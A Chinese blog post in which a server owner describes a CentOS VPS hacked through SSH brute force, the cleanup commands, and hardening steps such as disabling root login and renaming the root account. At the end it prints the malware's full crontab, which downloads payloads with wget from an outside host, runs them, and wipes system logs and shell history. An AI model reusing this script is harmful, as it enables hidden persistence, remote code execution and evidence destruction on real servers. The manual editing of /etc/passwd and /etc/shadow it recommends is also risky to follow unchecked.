尼玛!Linux都会中毒?可不是么,这种奇葩的事情都让我赶上了,并且和我同样的人还真有,幸亏有,否则哥不是郁闷了~
状况就是服务器访问很是慢,基本隔三差五的不能访问!DNSpod三天两头发邮件给我“D监控通知:您的网站www.jinlijun.com没法访问”。 html
机器是CentOS,开放22端口root权限,密码长度9位字母加数字全小写无规律。立马给VPS服务商联系,询问状况,反馈结果告知是中了病毒,被hacked了~擦! node
进入服务器,发现机子不停往外发包,带宽占满(5分钟能发10G)。cpu占用100%,top下能看到名为sfewfesfs的进程还有.sshddXXXXXXXXXXX(一串随机数字)的进程。/etc/下能看到名为sfewfesfs,nhgbhhj等多个奇怪名字的“红名”文件。 linux
由于22端口操做也是须要网络,在服务商不给力的状况下,也只能选择备份数据重装!在这里把解毒方法公示下,而后应对暴力破解的招数也总结下: shell
若是你是内网用户,请修改外网映射22端口到XXXX,修改root密码: 安全
1
|
passwd
|
关闭root的22权限
在/etc/ssh/sshd_config文件中找到PermitRootLogin去掉#改为 bash
1
|
PermitRootLogin
no
|
查看占用端口 服务器
1
|
netstat
-
atunlp
|
看到sfewfesfs和.sshdd1401029348进程在发包 网络
查看进程位置 ssh
1
|
ll
/
proc
/进程
PID
|
删除病毒文件 学习
1
2
|
chattr
-
i
/
etc
/
sfewfesfs*
rm
-
rf
/
etc
/
sfewfesfs*
|
看到名为nhgbhhj等的可疑文件一并删除
1
2
|
rm
-
rf
/
etc
/
nhgbhhj
rm
-
rf
/
etc
/
nhgbhhj*
*
*
|
删除计划任务(很是重要),病毒靠这个复活!
1
2
|
rm
-
rf
/
var
/
spool
/
cron
/
root
rm
-
rf
/
var
/
spool
/
cron
/
root
.
1
|
用ls -al看到.SSH2隐藏文件,删除
1
|
rm
-
rf
/
etc
/
.
SSH2
|
用ls -al看到.sshdd1401029348隐藏文件,删除
1
|
rm
-
rf
/
tmp
/
.
sshdd140*
|
重启服务器,搞定。
网上有大神强调:22端口的root权限仍是不要开了,nozuonodie,头一次经历linux中毒曾一度觉得是很安全的操做系统-_-!,中过一次才以为爽,大意了。
可是22端口对于VPS租用者来讲是必须开的,并且须要root帐号和权限的!肿么办?
----如下内容是本文重要强调的地方----
看似安全的系统是怎么被入侵的捏?缘由是22端口开放,用root用户名+简单密码,例如:
root123
黑客采用暴力破解,就是用“用户名“+”密码”穷举的方式进行远程登陆,因为Linux系统默认的管理员登陆用户名是root,破解者只需暴力破解密码,你就只能nozuonodie了~~
其余招呢?就是修改root用户名:(没有具体命令,只能修改配置文件)
root用户登陆,vi修改/etc/passwd & /etc/shadow
(不清楚这两个文件的,请学习:/etc/passwd & /etc/shadow 详解)
1
|
vi
/
etc
/
passwd
|
按i键进入编辑状态
修改第1行第1个root为新的用户名
按esc键退出编辑状态,并输入:x保存并退出
1
|
vi
/
etc
/
shadow
|
按i键进入编辑状态
修改第1行第1个root为新的用户名
按esc键退出编辑状态,并输入:x!强制保存并退出
补充:为了正常使用sudo,须要修改/etc/sudoers的设置,修改方法以下(来自How to add users to /etc/sudoers):
1
|
vi
/
etc
/
sudoers
|
找到root ALL=(ALL) ALL
在下面添加一行:新用户名 ALL=(ALL) ALL
:x!强制保存退出
从新链接,输入新用户名+原来root密码!大功告成!!
附病毒脚本
*/1 * * * * killall -9 .IptabLes */1 * * * * killall -9 nfsd4 */1 * * * * killall -9 profild.key */1 * * * * killall -9 nfsd */1 * * * * killall -9 DDosl */1 * * * * killall -9 lengchao32 */1 * * * * killall -9 b26 */1 * * * * killall -9 codelove */1 * * * * killall -9 32 */1 * * * * killall -9 64 */1 * * * * killall -9 new6 */1 * * * * killall -9 new4 */1 * * * * killall -9 node24 */1 * * * * killall -9 freeBSD */99 * * * * killall -9 sdmfdsfhjfe */98 * * * * killall -9 gfhjrtfyhuf */97 * * * * killall -9 sdmfdsfhjfe */96 * * * * killall -9 rewgtf3er4t */95 * * * * killall -9 ferwfrre */94 * * * * killall -9 dsfrefr */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhjrtfyhuf */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sfewfesfs */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sdmfdsfhjfe */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhddsfew */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/rewgtf3er4t */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ferwfrre */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/dsfrefr */120 * * * * cd /root;rm -rf dir nohup.out */360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf */360 * * * * cd /etc;rm -rf dir dsfrefr */360 * * * * cd /etc;rm -rf dir sdmfdsfhjfe */360 * * * * cd /etc;rm -rf dir rewgtf3er4t */360 * * * * cd /etc;rm -rf dir gfhddsfew */360 * * * * cd /etc;rm -rf dir ferwfrre */1 * * * * cd /etc;rm -rf dir sfewfesfs.* */1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.* */1 * * * * cd /etc;rm -rf dir dsfrefr.* */1 * * * * cd /etc;rm -rf dir sdmfdsfhjfe.* */1 * * * * cd /etc;rm -rf dir rewgtf3er4t.* */1 * * * * cd /etc;rm -rf dir gfhddsfew.* */1 * * * * cd /etc;rm -rf dir ferwfrre.* */1 * * * * chmod 7777 /etc/gfhjrtfyhuf */1 * * * * chmod 7777 /etc/sfewfesfs */1 * * * * chmod 7777 /etc/dsfrefr */1 * * * * chmod 7777 /etc/sdmfdsfhjfe */1 * * * * chmod 7777 /etc/rewgtf3er4t */1 * * * * chmod 7777 /etc/gfhddsfew */1 * * * * chmod 7777 /etc/ferwfrre */99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1& */100 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1& */99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1& */98 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1& */97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1& */96 * * * * nohup /etc/ferwfrre > /dev/null 2>&1& */95 * * * * nohup /etc/dsfrefr > /dev/null 2>&1& */1 * * * * echo "unset MAILCHECK" >> /etc/profile */1 * * * * rm -rf /root/.bash_history */1 * * * * touch /root/.bash_history */1 * * * * history -r */1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron */1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog */1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure */1 * * * * cd /var/log > wtmp */1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages */1 * * * * cd /var/log > spooler */1 * * * * cd /var/log > sudolog */1 * * * * cd /var/log > aculog */1 * * * * cd /var/log > access-log */1 * * * * cd /root > .bash_history */1 * * * * history -c